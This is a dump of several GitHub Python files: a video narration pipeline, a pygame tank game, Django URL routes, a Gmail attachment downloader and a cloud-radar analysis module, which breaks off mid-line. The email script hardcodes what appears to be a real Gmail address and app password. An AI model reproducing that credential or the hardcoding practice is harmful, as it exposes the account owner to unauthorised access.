+{"seq_id":"16362693704","text":"import json\n\nimport yaml\nfrom tqdm.auto import tqdm\n\nfrom utils.captioner import SceneDescripter\nfrom utils.splitter import SceneSplitter\nfrom utils.synter import TextToSpeech\nfrom pathlib import Path\n\n\nclass PipelineVideoPrepare:\n def __init__(self):\n with open(\"./configs/pipeline.cfg.yml\") as config:\n params = yaml.safe_load(config)\n\n self.splitter = SceneSplitter(\n params[\"splitter\"][\"threshold_splitter\"],\n params[\"splitter\"][\"frame_skip\"],\n )\n\n self.descriptor = SceneDescripter(\n ckpt_scene=params[\"descriptor_scene\"][\"model\"],\n device_scene=params[\"descriptor_scene\"][\"device\"],\n ckpt_background=params[\"descriptor_background\"][\"model\"],\n device_background=params[\"descriptor_background\"][\"device\"],\n model_trans_name=params[\"translation\"][\"model\"],\n device_trans=params[\"translation\"][\"device\"],\n background_threshold=params[\"descriptor_background\"][\"threshold\"], scene_threshold=params[\"descriptor_scene\"][\"threshold\"],\n window_len=params[\"descriptor_scene\"][\"window_len\"]\n )\n\n self.txt2speech = TextToSpeech()\n\n def run(self, path_to_video: Path):\n self.scenes_frames = self.splitter.get_scenes_frames(str(path_to_video))\n\n self.scenes_backbones = {\n timestamp: self.descriptor.detect_backbones(scene_frame)\n for timestamp, scene_frame in tqdm(self.scenes_frames.items())\n }\n\n self.scenes_descriptions = {\n timestamp: self.descriptor.get_scene_description(**scene_backbone) \n for timestamp, scene_backbone in tqdm(self.scenes_backbones.items())\n }\n self.descriptor.back_prev = None\n self.descriptor.scenes_window = []\n \n self.scenes_speeches = {\n timestamp: {'sound': self.txt2speech.save_audio(\n self.txt2speech.create_audio(scene_desc['text']),\n name=(path_to_video.parent / f\"{i}.mp3\")\n ),\n 'state_pause': scene_desc['state_pause'],\n 'state_using_frame': scene_desc['state_using_frame']}\n for i, (timestamp, scene_desc) in enumerate(\n tqdm(self.scenes_descriptions.items())\n )\n }\n\n with open(path_to_video.parent / \"timecodes.json\", \"w\") as f:\n output_dict = {\n \"timecodes\": [\n {\n \"time\": time,\n \"sound\": data[\"sound\"][\"name\"],\n \"duration\": data[\"sound\"][\"duration\"],\n \"state_pause\": data[\"state_pause\"],\n \"state_using_frame\": data[\"state_using_frame\"]\n }\n for time, data in self.scenes_speeches.items()\n ]\n }\n json.dump(output_dict, f)\n\n with open(path_to_video.parent / \"timecodes_text.json\", \"w\", encoding=\"utf-8\") as f:\n output_dict = {\n \"timecodes\": [\n {\n \"time\": time,\n \"text\": data['text'],\n \"state_pause\": data['state_pause'],\n \"state_using_frame\": data['state_using_frame']\n }\n for time, data in self.scenes_descriptions.items()\n ]\n }\n print(output_dict)\n json.dump(output_dict, f)\n","repo_name":"m-danya/aitech-audio-accompaniment","sub_path":"neuro-container/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"8"}
+{"seq_id":"38277712230","text":"\"\"\"Scene object that store all level's obstacles.\"\"\"\n\nfrom pygame.math import Vector2\nfrom pygame.rect import Rect\nimport pygame\nfrom pygame import gfxdraw\nfrom . import Game\nfrom .GameObject import PlayerTank\nfrom .Enemy import EnemyTank\nfrom .Spawner import Spawner\n\n\nclass Scene():\n \"\"\"Scene.\n\n :var pygame.Rect bbox: scene bounding box\n :var int cellSize: size of single cell, for both X and Y axis\n :var list[pygame.Rect] bricks: list with brick blocks\n :var pygame.Surface surface: texture for scene rendering\n \"\"\"\n\n def __init__(self, sceneName):\n \"\"\"Load scene from file.\n\n :param str sceneName: file name with scene\n \"\"\"\n w = -1\n h = 0\n self.bricks = []\n self.cellSize = 64\n with open(sceneName) as sceneFile:\n for line in sceneFile:\n line = line.rstrip()\n if w == -1:\n w = len(line)\n else:\n assert(w == len(line))\n for i, cell in enumerate(line):\n self._processCell(cell, Vector2(i, h))\n h += 1\n self.bbox = Rect(Vector2(0, 0), Vector2(w, h) * self.cellSize)\n try:\n self.bricksImage = pygame.image.load(\"res/bricks.png\")\n except FileNotFoundError:\n self.bricksImage = pygame.image.load(\"../res/bricks.png\")\n halfSize = self.cellSize // 2\n self.bricksImage = pygame.transform.scale(self.bricksImage, (halfSize, halfSize))\n self.surface = pygame.Surface(self.bbox.size)\n print(\"Use {}x{} texture for intermediate rendering\".format(\n self.surface.get_width(), self.surface.get_height()))\n\n def _processCell(self, cell, pos):\n \"\"\"Add cell to scene.\n\n :param str cell: type of cell\n :param pygame.math.Vector2 pos: cell position in scene\n \"\"\"\n if cell == 'b':\n self.bricks.append(Rect(pos * self.cellSize, Vector2(1, 1) * self.cellSize))\n elif cell == '.':\n pass # empty cell\n elif cell == 'p':\n Game.all_objects.append(Spawner(PlayerTank, pos=(pos * self.cellSize), size=self.cellSize))\n elif cell == 'e':\n Game.all_objects.append(Spawner(EnemyTank, numSpawns=10,\n pos=(pos * self.cellSize), size=self.cellSize))\n else:\n assert False, f\"Unknown cell type \\\"{cell}\\\"\"\n\n def testCollision(self, rect):\n \"\"\"Test collision between rect and scene.\n\n :param pygame.Rect rect: rectangle to be tested\n \"\"\"\n fittedRect = rect.clamp(self.bbox)\n return fittedRect.topleft != rect.topleft or rect.collidelist(self.bricks) != -1\n\n def render(self):\n \"\"\"Draw scene into its texture.\"\"\"\n backgroundColor = (0, 0, 0)\n self.surface.fill(backgroundColor)\n\n for brick in self.bricks:\n points = [brick.topleft, brick.topright, brick.bottomright, brick.bottomleft]\n gfxdraw.textured_polygon(self.surface, points, self.bricksImage, 2, -1)\n\n def damage(self, rect, direction):\n \"\"\"Damage scene obstacles.\n\n :param pygame.Rect rect: rectangle that dealing damage\n :param pygame.math.Vector2 direction: rectangle's movement direction\n \"\"\"\n hits = rect.collidelistall(self.bricks)\n halfSize = self.cellSize // 2\n forRemove = []\n for idx in hits:\n b = self.bricks[idx]\n if b.w == self.cellSize:\n forRemove.append(idx)\n self.bricks.append(Rect((b.x, b.y), (halfSize, halfSize)))\n self.bricks.append(Rect((b.x + halfSize, b.y), (halfSize, halfSize)))\n self.bricks.append(Rect((b.x, b.y + halfSize), (halfSize, halfSize)))\n self.bricks.append(Rect((b.x + halfSize, b.y + halfSize), (halfSize, halfSize)))\n for idx in rect.collidelistall(self.bricks[-4:]):\n idx = -4 + idx\n b = self.bricks[idx]\n self.bricks[idx] = b.clip(Rect(Vector2(b.topleft) + direction * halfSize // 2, b.size))\n else:\n self.bricks[idx] = b.clip(Rect(Vector2(b.topleft) + direction * halfSize // 2, b.size))\n if self.bricks[idx].size == (0, 0):\n forRemove.append(idx)\n for idx in forRemove[-1::-1]:\n self.bricks.pop(idx)\n","repo_name":"myCloudStrife/DendyTanks","sub_path":"DendyTanks/Scene.py","file_name":"Scene.py","file_ext":"py","file_size_in_byte":3972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"73404458822","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.todo_page, name='todo'), \n path('tasks/', views.items_page, name='tasks'), \n path('delete_todo_list/', views.delete_todo_list, name='delete_todo_list'), \n path('task_complete/', views.task_complete, name='task_complete'), \n path('task_not_complete/', views.task_not_complete, name='task_not_complete'), \n path('task_delete/', views.task_delete, name='task_delete'), \n]\n","repo_name":"s-shifat/home-finance","sub_path":"todo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"70460197062","text":"# -*- coding: UTF-8 -*-\nfrom django.conf.urls import patterns, url\nfrom app import views\n\nurlpatterns = patterns('',\n url(r'^$', views.home, name=\"home\"),\n url(r'^index/', views.index, name=\"index\"),\n url(r'^edit/', views.edit),\n url(r'^tracker/', views.tracker),\n #url(r'^members/', views.members),\n #url(r'^send/', views.message),\n #url(r'^buddy_match/', views.buddy_match),\n #url(r'^send_match/', views.message_match),\n url(r'^workout_plan/', views.workout_plan),\n url(r'^workout/days/(?P
\\w+)/$', views.workout_day),\n url(r'^delete_exercise/', views.delete_exercise),\n url(r'^plan_manage/', views.plan_manage),\n url(r'^permission_denied/', views.permission_denied),\n url(r'^delete_plan_msg/', views.delete_plan_msg),\n url(r'^delete_athlete_msg/', views.delete_athlete_msg),\n url(r'^screenings/(?P\\w+)/$', views.screenings),\n url(r'^screenings/$', views.screenings),\n url(r'^create_screening/(?P\\w+)/$', views.create_screening),\n url(r'^delete_screening/', views.delete_screening),\n url(r'^alunos/$', views.AlunoList.as_view()),\n url(r'^alunos_list/$', views.alunos_list_json),\n url(r'^add_aluno/$', views.AddAluno.as_view()),\n url(r'^manage_workout/(?P\\w+)/$', views.ManageWorkout.as_view()),\n url(r'^manage_personal/', views.ManagePersonal.as_view()),\n url(r'^subscribe/', views.SubscribeView.as_view(), name='subscribe'),\n)\n","repo_name":"brunoliveira8/fibrando","sub_path":"project/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"32253661578","text":"import imaplib\nimport email\nfrom email.header import decode_header\nimport os\n# import gspread\nimport pygsheets\n\n# from oauth2client.service_account import ServiceAccountCredentials\n\n# Configura tus credenciales de Gmail\nemail_address = \"camorcillos@gmail.com\"\npassword = \"jayb ilui iwct kaew\"\n\n# Conéctate al servidor IMAP de Gmail\nmail = imaplib.IMAP4_SSL(\"imap.gmail.com\")\nmail.login(email_address, password)\n\n# Selecciona la bandeja de entrada\nmail.select(\"inbox\")\n\n# Define el criterio de búsqueda (en este caso, buscar correos con un texto específico en el cuerpo)\nsearch_criteria = '(BODY \"#18228\")'\n\nsave_directory = \"./files\"\n\nif not os.path.exists(save_directory):\n os.makedirs(save_directory)\n\n# Realiza la búsqueda y obtén el ID del correo que contiene el adjunto\nstatus, email_ids = mail.search(None, search_criteria)\n\nif status == \"OK\":\n email_ids = email_ids[0].split() # Convierte los IDs de correo en una lista de números\n if len(email_ids) > 0:\n # Obtén el primer correo que cumple con el criterio de búsqueda\n email_id = email_ids[0]\n\n # Descarga el correo completo\n status, msg_data = mail.fetch(email_id, \"(RFC822)\")\n\n if status == \"OK\":\n raw_email = msg_data[0][1]\n msg = email.message_from_bytes(raw_email)\n\n # Recorre las partes del correo para buscar adjuntos\n for part in msg.walk():\n if part.get_content_maintype() == \"multipart\":\n continue\n if part.get(\"Content-Disposition\") is None:\n continue\n\n # Si es un adjunto, descárgalo\n filename = part.get_filename()\n if filename:\n # Decodifica el nombre del archivo si es necesario\n filename = email.header.decode_header(filename)[0][0]\n if filename:\n # Construye la ruta completa al archivo en la carpeta \"files\"\n file_path = os.path.join(save_directory, filename)\n \n # Extrae el número del nombre del archivo descargado\n numero_de_orden = filename.split(\"TicketOrder\")[1].split(\".\")[0]\n\n print(f\"Número de Orden del archivo descargado: {numero_de_orden}\")\n\n # Guarda el adjunto en la carpeta \"files\"\n with open(file_path, \"wb\") as f:\n f.write(part.get_payload(decode=True))\nelse:\n print(\"Error al buscar correos.\")\n\n# Cierra la conexión\nmail.logout()\n\n# # Obtiene el ID de la hoja de cálculo\n# spreadsheet_url = \"https://docs.google.com/spreadsheets/d/189UzdG5vAlmprVxlSmewp-T7vfPfUPl6vIyWf4SR5xk/edit?usp=sharing\"\n\n# # spreadsheet = gspread.open_by_url(spreadsheet_id)\n# # Abre la hoja de cálculo\n# # spreadsheet = gspread.open_by_url(spreadsheet_id)\n\n# # # Obtiene la primera hoja de cálculo\n# # worksheet = spreadsheet.get_worksheet(0)\n\n# # # Escribe en la celda A1\n# # worksheet.update_cell(2, 2, numero_de_orden)\n\n# # # Guarda los cambios\n# # worksheet.save()\n\n# gc = pygsheets.authorize()\n# # spreadsheet = gc.open_by_url(spreadsheet_url)\n# sh = gc.open(spreadsheet_url)\n# # Selecciona la primera hoja de cálculo\n# worksheet = sh.sheet1\n\n# # Escribe en la celda B2\n# worksheet.update_value(\"B2\", numero_de_orden)\n","repo_name":"camorcillos/parque-del-cafe","sub_path":"read_email.py","file_name":"read_email.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"23835217898","text":"import datetime\nimport numpy as np\nimport pickle\nfrom scipy import interpolate\nimport scipy.signal\n\nfrom collections import Counter\n\nimport sys\nsys.path.append('/home/larda3/larda/')\nimport pyLARDA.helpers as h\n\n# flags for cloud particles\ncloud_particles=[1,3,4,5,6,7]\nliquid=[1,3,5,7]\ndroplets_only=[1,5]\nice=[4,5,6]\nice_only=4\nmelting=[6,7]\ndrizzle=[2,3]\n\nclass cloud_feature :\n \n def __init__(self):\n \n self.time=-1\n \n self.top=-1\n self.base=-1\n \n self.classifications=[]\n self.hasl=[]\n self.temperature=[]\n self.has_melting=False\n self.has_drizzle=False\n self.type=\"none\"\n self.valid=False\n \n self.measurements={}\n self.measurements[\"IWC\"]=[]\n self.measurements[\"LWC\"]=[]\n self.measurements[\"Z\"]=[]\n self.measurements[\"LDR\"]=[]\n self.measurements[\"LDR_min\"]=[]\n self.measurements[\"v\"]=[]\n self.measurements[\"width\"]=[]\n self.measurements[\"T\"]=[]\n self.measurements[\"p\"]=[]\n self.measurements[\"SNR\"]=[]\n self.measurements[\"alpha_hogan\"]=[]\n self.measurements[\"beta\"]=[]\n self.measurements[\"voldepol\"]=[]\n #self.measurements[\"tfv\"]=[]\n #self.measurements[\"vair\"]=[]\n\n self.liquid_layers=0\n self.liquid_layer_base=[]\n self.liquid_layer_top=[]\n \n self.precipitation_top=-1\n self.precipitation_base=-1\n \n self.cloud_system=-1\n \n def show(self):\n \n print(\"Top height:\", self.top, \"- Base height:\", self.base, \"- Type:\", self.type, \"- Time:\", self.time)\n\n\ndef get_only_valid(data):\n return data['var'][~data['mask']]\n\ndef fill_with(data, fill):\n \"\"\"fill an array where mask is true with fill value\"\"\"\n filled = data['var'].copy()\n filled[data['mask']] = fill\n return filled\n\ndef flatten(xs):\n \"\"\"flatten inhomogeneous deep lists\n e.g. ``[[1,2,3],4,5,[6,[7,8],9],10]``\n \"\"\"\n result = []\n if isinstance(xs, (list, tuple)):\n for x in xs:\n result.extend(flatten(x))\n else:\n result.append(xs)\n return result\n\n\ndef autocorr(x):\n result = np.correlate(x, x, mode='full')\n return result[result.size // 2:]\n\n\n\ndef time_analysis_from_vel(locations_of_vel, idx):\n \"\"\"get the autocorrelation and the periodogram from the dl observations\n\n Args:\n locations_of_vel: list of tupels (ts, rg, vel)\n\n Returns:\n (f, Pxx_den), (time_shifts, v_autocorr)\n \"\"\"\n\n locations_of_vel_s = sorted(locations_of_vel, key=lambda k: k[0])\n\n sep_time = np.array([e[0] for e in locations_of_vel_s])\n #sep_range = [e[1] for e in locations_of_vel_s]\n vel_line = np.array([e[idx] for e in locations_of_vel_s])\n\n #print(vel_line)\n\n delta_t = np.median(sep_time[1:] - sep_time[:-1])\n print('delta t', delta_t, vel_line[:10])\n\n if len(vel_line) > 0:\n f, Pxx_den = scipy.signal.welch(vel_line[vel_line != None],\n fs=1/delta_t)\n\n v_autocorr = autocorr(vel_line[vel_line != None])\n v_autocorr = v_autocorr/float(v_autocorr.max())\n time_shifts = np.arange(v_autocorr.shape[0])*delta_t\n else:\n f, Pxx_den = np.array([]), np.array([])\n time_shifts, v_autocorr = np.array([]), np.array([])\n\n return (f, Pxx_den), (time_shifts[:500], v_autocorr[:500])\n\n\nclass cloud():\n \n def __init__(self):\n \n self.cloud_type=\"none\"\n \n self.begin_time=-1\n self.end_time=-1\n \n #self.top = -1\n #self.base = -1\n self.top_range = -1\n self.base_range = -1\n \n self.times=[]\n self.tops=[]\n self.bases=[]\n self.types=[]\n \n self.features=[]\n\n self.n_valid=0\n self.n_invalid=0\n \n def update_geometry(self):\n \n begin_t,base_h,duration_t,extent_h=self.geometry()\n self.begin_time=begin_t\n self.end_time=begin_t+duration_t\n self.base=base_h\n self.top=base_h+extent_h\n \n def append_feature(self,feature):\n \n self.features.append(feature)\n \n self.times.append(feature.time)\n self.tops.append(feature.top_range)\n self.bases.append(feature.base_range)\n self.types.append(feature.type)\n \n self.update_geometry()\n\n def validate_features(self):\n\n sep_height=[]\n\n for f in self.features:\n\n ll_base=-1\n if len(f.liquid_layer_base)>0:\n ll_base=f.liquid_layer_base[0]\n elif f.type==\"pure liquid\":\n ll_base=f.base\n sep_height.append(ll_base)\n \n med_sep_height=np.median(sep_height)\n\n print('validate list of liquid layer bases', med_sep_height, sep_height)\n \n avg_th, med_th, std_th, _ = self.cloud_top_thickness()\n\n valid,invalid=0,0\n\n for f in self.features:\n\n ll_base=-1\n if len(f.liquid_layer_base)>0:\n ll_base=f.liquid_layer_base[0]\n elif f.type==\"pure liquid\":\n ll_base=f.base\n\n print('time of feature ', h.ts_to_dt(f.time), ll_base)\n if np.abs(ll_base-med_sep_height)>150.0:\n f.valid=False\n invalid+=1\n else:\n f.valid=True\n valid+=1\n\n self.n_valid=valid\n self.n_invalid=invalid\n\n def n_profiles(self,types=[]):\n \n n=0\n if len(types)==0:\n n=len(self.features)\n else:\n for f in self.features:\n if f.type in types:\n n+=1\n\n return n\n \n def geometry(self):\n \"\"\"return the geometrical boundaries of the cloud\"\"\" \n cloud_min_t = np.min(self.times)\n cloud_min_h = np.min(self.bases)\n cloud_width = self.time_length()\n cloud_height = np.max(self.tops)-np.min(self.bases)\n \n #print('current geometry ', datetime.datetime.utcfromtimestamp(cloud_min_t),\n # \" dur \", cloud_width, \" range \", cloud_min_h, cloud_height)\n return cloud_min_t,cloud_min_h,cloud_width,cloud_height\n \n def most_common_type(self):\n types_count = Counter(self.types)\n #s_types=np.sort(self.types\n #return s_types[len(s_types)/2]\n return types_count.most_common(1)[0][0]\n \n def top_variation(self):\n \"\"\"get the std from tops\"\"\"\n\n print(self.tops)\n \n return np.std(self.tops)\n\n def top_diffsum(self):\n\n return np.average(np.abs(np.diff(self.tops)))\n\n def length(self):\n \n return (max(self.times) - min(self.times)) * 10.0\n \n def time_length(self):\n \n return max(self.times) - min(self.times)\n \n def fill_factor(self):\n \n return self.n_profiles()*30.0/self.time_length()\n\n def return_values(self,name,particle_types=[]):\n\n values=[]\n for f in self.features:\n #if f.valid==False:\n # continue\n if particle_types:\n cc_mask = np.isin(f.classifications, particle_types)\n else:\n cc_mask = np.full(f.classifications, True)\n var = f.measurements[name]['var'][cc_mask]\n mask = f.measurements[name]['mask'][cc_mask]\n values += var[~mask].tolist()\n\n values = np.array(values).ravel().astype(np.float64)\n assert np.all(np.isfinite(values)), values\n\n return values\n\n def return_values_separation(self,name,spacing):\n\n print(\"separation average\", name, spacing)\n if not(name in self.features[0].measurements.keys()):\n print('name not in features')\n return np.array([])\n\n values=[]\n print('no_features', len(self.features))\n for f in self.features:\n\n\n #if f.valid==False:\n # continue\n #print('precip top',f.precipitation_top, f.precipitation_top-spacing)\n #print('cc_profile', f.classifications )\n\n if f.precipitation_top!=-1 and f.precipitation_top-spacing>0:\n mask = f.measurements[name]['mask'][f.precipitation_top-spacing]\n values += f.measurements[name]['var'][f.precipitation_top-spacing][~mask].tolist()\n\n values=np.array(values).ravel()\n return values\n\n\n def combined_average(self,name,ref_name,particle_types=[]):\n\n if not(name in self.features[0].measurements.keys()) or not(ref_name in self.features[0].measurements.keys()):\n return 0,0,0,0\n\n values=[0]\n for f in self.features:\n\n #if f.valid==False:\n # continue\n if not(ref_name in f.measurements.keys()) or len(f.measurements[name])!=len(f.measurements[ref_name]):\n continue\n\n for v in range(len(f.measurements[name])):\n\n\n if f.measurements[name][v]!=0 and f.measurements[ref_name][v]!=0:\n value=f.measurements[name][v]\n else:\n value=0 \n\n if len(particle_types)>0:\n if f.classifications[v] in particle_types:\n values.append(value)\n else:\n values.append(value)\n\n values=np.array(values)\n\n if len(values)>0 and ~np.all(values==0):\n avg=np.average(values[values!=0])\n med=np.median(values[values!=0])\n std=np.std(values[values!=0])\n n=len(values[values!=0])\n else:\n avg=0.0\n med=0.0\n std=0.0\n n=0\n\n return avg,med,std,n\n\n\n def average(self,name,particle_types=[]):\n\n values=[]\n print('assemble', name, h.ts_to_dt(self.features[0].time))\n for f in self.features:\n #if f.valid==False:\n # continue\n if particle_types:\n cc_mask = np.isin(f.classifications, particle_types)\n else:\n cc_mask = np.full(f.classifications, True)\n\n #print('classification ', f.classifications)\n #print('cc_mask ', cc_mask)\n if name in f.measurements.keys() and not type(f.measurements[name]) == list \\\n and any(cc_mask):\n var = f.measurements[name]['var'][cc_mask]\n mask = f.measurements[name]['mask'][cc_mask].astype(bool)\n #print('var', type(var), var.dtype, var)\n #print('mask', type(mask), mask.dtype, mask)\n if not np.all(mask) and np.all(~np.isnan(var)):\n values += var[~mask].tolist()\n\n #print('average', name, values[:10], values[-10:])\n values = np.array(values).ravel().astype(np.float64)\n assert np.all(np.isfinite(values)), values\n if len(values)>0:\n avg=np.average(values)\n med=np.median(values)\n std=np.std(values)\n n=len(values)\n else:\n avg=0.0\n med=0.0\n std=0.0\n n=0\n print('assembled ', name, values[:10], values[-10:], ' avg ', avg)\n \n return avg,med,std,n\n \n def pp90(self,name,particle_types=[]):\n\n values=[]\n for f in self.features:\n #if f.valid==False:\n # continue\n if particle_types:\n cc_mask = np.isin(f.classifications, particle_types)\n else:\n cc_mask = np.full(f.classifications, True)\n var = f.measurements[name]['var'][cc_mask]\n mask = f.measurements[name]['mask'][cc_mask]\n values += var[~mask].tolist()\n\n values = np.array(values).ravel().astype(np.float64)\n assert np.all(np.isfinite(values)), values\n\n if len(values)>1 and ~np.all(values==0):\n sorted_vals=np.sort(values[values!=0])\n ln=len(sorted_vals)\n\n return sorted_vals[int(0.1*ln)],sorted_vals[int(0.9*ln)]\n\n else:\n\n return 0,0\n\n \n def n_values(self,name,particle_types=[]):\n \n n_values=0\n for f in self.features:\n for v in range(len(f.measurements[name])):\n value=f.measurements[name][v]\n if len(particle_types)>0:\n if (f.classifications[v] in particle_types) and value!=0:\n n_values+=1\n else:\n if value!=0:\n n_values+=1\n \n return n_values\n\n def temperature_range(self):\n \"\"\"loop over features, take the base and top temperature\n and return min(base), med(top), max(top)\n \"\"\" \n top_temps=[]\n base_temps=[]\n\n for f in self.features:\n top_temps.append(f.measurements[\"T\"]['var'][-1])\n base_temps.append(f.measurements[\"T\"]['var'][0])\n \n return np.max(base_temps),np.median(top_temps),np.min(top_temps)\n\n def velocities_radar(self):\n\n v_top=[]\n v_top.append(0)\n\n width_top=[]\n width_top.append(0)\n\n Z_top=[]\n Z_top.append(0)\n\n for f in self.features:\n if f.valid==False:\n continue\n ll_base=-1\n if len(f.liquid_layer_base)>0:\n ll_base=f.liquid_layer_base[0]\n elif f.type==\"pure liquid\":\n ll_base=f.base\n\n if not f.measurements[\"Z\"][\"mask\"][-1]:\n Z_top.append(f.measurements[\"Z\"]['var'][-1])\n\n #for i in range(len(f.measurements[\"v\"])):\n vr=f.measurements[\"v\"]\n wt=f.measurements[\"width\"]\n rg_valid = vr[\"rg\"] >= ll_base\n v_top += flatten(fill_with(vr, 0)[rg_valid].tolist())\n width_top += flatten(fill_with(wt, 0)[rg_valid].tolist())\n\n v_top=np.array(v_top)\n v_top=v_top[v_top!=0]\n v_top_gt0=v_top[v_top>0.0]\n\n width_top=np.array(width_top)\n width_top=width_top[width_top!=0]\n\n Z_top=np.array(Z_top)\n Z_top=Z_top[Z_top!=0]\n\n if len(v_top)>0:\n v_mean=np.average(v_top)\n v_std=np.std(v_top)\n v_n=len(v_top)\n else:\n v_mean=0\n v_std=0\n v_n=0\n\n if len(v_top_gt0)>0:\n v_mean_gt0=np.average(v_top_gt0)\n v_std_gt0=np.std(v_top_gt0)\n v_n_gt0=len(v_top_gt0)\n else:\n v_mean_gt0=0\n v_std_gt0=0\n v_n_gt0=0\n\n if len(width_top)>0:\n width_avg=np.average(width_top)\n else:\n width_avg=0\n\n if len(Z_top)>1:\n z_top=np.median(Z_top)\n else:\n z_top=0\n\n return v_mean,v_std,v_n,v_mean_gt0,v_std_gt0,v_n_gt0,width_avg,v_top,z_top\n\n def velocities_liquid_radar(self, where):\n \"\"\"\n retrun the velocities of the radar at the specified position of the liquid layer\n ``top``, ``whole``, ``base``\n \"\"\"\n\n v_base=[]\n locations_of_vel = []\n\n for f in self.features:\n \n if f.valid==False or \"v\" not in f.measurements.keys() \\\n or len(f.measurements['v']['rg'].shape) == 0:\n print('no measurements in this feature, valid? ', f.valid)\n continue\n\n ll_idx = None\n if len(f.liquid_layer_base)>0:\n #print('liquid layer bases',f.liquid_layer_base)\n #select highest liquid layer\n if where == 'base':\n ll_idx = h.argnearest(f.measurements['v']['rg'], f.liquid_layer_base[-1])\n elif where == 'top-90':\n ll_idx = h.argnearest(f.measurements['v']['rg'], f.liquid_layer_top[-1])-3\n elif where == 'top':\n ll_idx = h.argnearest(f.measurements['v']['rg'], f.liquid_layer_top[-1])\n elif where == 'whole':\n i_base = h.argnearest(f.measurements['v']['rg'], f.liquid_layer_base[-1])\n i_top = h.argnearest(f.measurements['v']['rg'], f.liquid_layer_top[-1])\n ll_idx = slice(i_base, i_top+1)\n\n elif f.type==\"pure_liquid\":\n if where == 'base':\n ll_idx = h.argnearest(f.measurements['v']['rg'], f.base_range)\n elif where == 'top-90':\n ll_idx = h.argnearest(f.measurements['v']['rg'], f.top_range)-3\n elif where == 'top':\n ll_idx = h.argnearest(f.measurements['v']['rg'], f.top_range)\n elif where == 'whole':\n i_base = h.argnearest(f.measurements['v']['rg'], f.base_range)\n i_top = h.argnearest(f.measurements['v']['rg'], f.top_range)\n ll_idx = slice(i_base, i_top+1)\n\n #print('velocities', f.measurements.keys())\n #print('ll_idx', ll_idx, f.type)\n #print('found indices ', ll_idx, f.liquid_layer_base, f.liquid_layer_top)\n if ll_idx is not None and len(f.measurements['v']['rg'].shape) > 0:\n v = f.measurements[\"v\"]\n #v_lidar['mask'] = np.logical_or(v_lidar['mask'], a_lidar['var']0:\n v_mean=np.average(v_base)\n v_std=np.std(v_base)\n v_n=len(v_base)\n else:\n v_mean=0\n v_std=0\n v_n=0\n\n return v_mean,v_std,v_n,v_base,locations_of_vel\n\n def velocities_fixed_height(self, sample_height):\n \"\"\"read the doppler lidar velocities at a fixed height of maximum backscatter\n [Suggestion by referee2]\n \n \"\"\"\n\n a_thr=0\n #a_thr=8e4\n\n v_base=[]\n v_base.append(0)\n locations_of_vel = []\n\n for f in self.features:\n\n # 2020-10-12: try without the validity check\n # if f.valid==False or \"v_lidar\" not in f.measurements.keys():\n # print('no measurements in this feature, valid? ', f.valid)\n # continue\n\n \n if 'v_lidar' not in f.measurements:\n print('v_lidar missing at ', h.ts_to_dt(f.time))\n\n #print('here ', ll_base)\n \n if 'v_lidar' in f.measurements and sample_height >= 0 and len(f.measurements[\"v_lidar\"]) > 0:\n v_lidar = f.measurements[\"v_lidar\"]\n a_lidar = f.measurements[\"a_lidar\"]\n\n v_lidar['mask'] = np.logical_or(v_lidar['mask'], a_lidar['var'] 1 and v_lidar['var'].shape[0] > 1:\n mx_ind = h.argnearest(v_lidar['rg'], sample_height)\n else:\n mx_ind = 0\n #print(ll_base, mx_ind)\n #print(len(a_lidar['var']), a_lidar['var'].shape)\n \n for it in range(a_lidar['var'].shape[0]):\n #index of bsc max above liquid base\n idx = np.argmax(fill_with(a_lidar, -99)[it,mx_ind:])\n #print(it, idx, mx_ind+idx)\n if not v_lidar['mask'][it, mx_ind+idx]:\n v_base.append(v_lidar['var'][it, mx_ind+idx])\n #print('v', v_lidar['var'][it, mx_ind+idx])\n #print('a',a_lidar['var'][it, mx_ind+idx])\n # sometimes rg is only a float\n if isinstance(v_lidar['rg'], np.ndarray):\n rg = v_lidar['rg'][mx_ind+idx]\n else:\n rg = v_lidar['rg']\n locations_of_vel.append((v_lidar['ts'][it], rg, v_lidar['var'][it, mx_ind+idx], f.valid))\n #print(v_lidar['ts'][it], v_lidar['rg'][mx_ind+idx])\n #if v_lidar['var'].shape[1] > 1:\n \n #else:\n #locations_of_vel.append((v_lidar['ts'][it], v_lidar['rg']))\n\n \n v_base=np.array(v_base)\n v_base=v_base[v_base != 0]\n v_base=v_base[v_base != None]\n print('v_base', v_base)\n\n if len(v_base)>0:\n v_mean=np.mean(v_base)\n v_std=np.std(v_base)\n v_n=len(v_base)\n else:\n v_mean=0\n v_std=0\n v_n=0\n\n return v_mean,v_std,v_n,v_base,locations_of_vel\n\n\n\n def velocities(self):\n \"\"\"refactored\n reads out the doppler lidar velocities of each feature\n\n Returns:\n v_mean,v_std,v_n,v_base,locations_of_vel\n\n\n with locations_of_vel = v_lidar['ts'][it], v_lidar['rg'][mx_ind+idx], v_lidar['var'][it, mx_ind+idx], f.valid\n \n \"\"\"\n a_thr=0\n #a_thr=8e4\n\n v_base=[]\n v_base.append(0)\n locations_of_vel = []\n\n for f in self.features:\n\n # 2020-10-12: try without the validity check\n # if f.valid==False or \"v_lidar\" not in f.measurements.keys():\n # print('no measurements in this feature, valid? ', f.valid)\n # continue\n\n ll_base=-1\n if len(f.liquid_layer_base)>0:\n #select highest liquid layer\n ll_base=f.liquid_layer_base[-1]\n elif f.type==\"pure_liquid\":\n ll_base=f.base_range\n #print('velocities', f.measurements.keys())\n #print('ll_base', ll_base, f.type)\n \n if 'v_lidar' not in f.measurements:\n print('v_lidar missing at ', h.ts_to_dt(f.time))\n\n #print('here ', ll_base)\n \n if 'v_lidar' in f.measurements and ll_base >= 0 and len(f.measurements[\"v_lidar\"]) > 0:\n v_lidar = f.measurements[\"v_lidar\"]\n a_lidar = f.measurements[\"a_lidar\"]\n\n v_lidar['mask'] = np.logical_or(v_lidar['mask'], a_lidar['var'] 1 and v_lidar['var'].shape[0] > 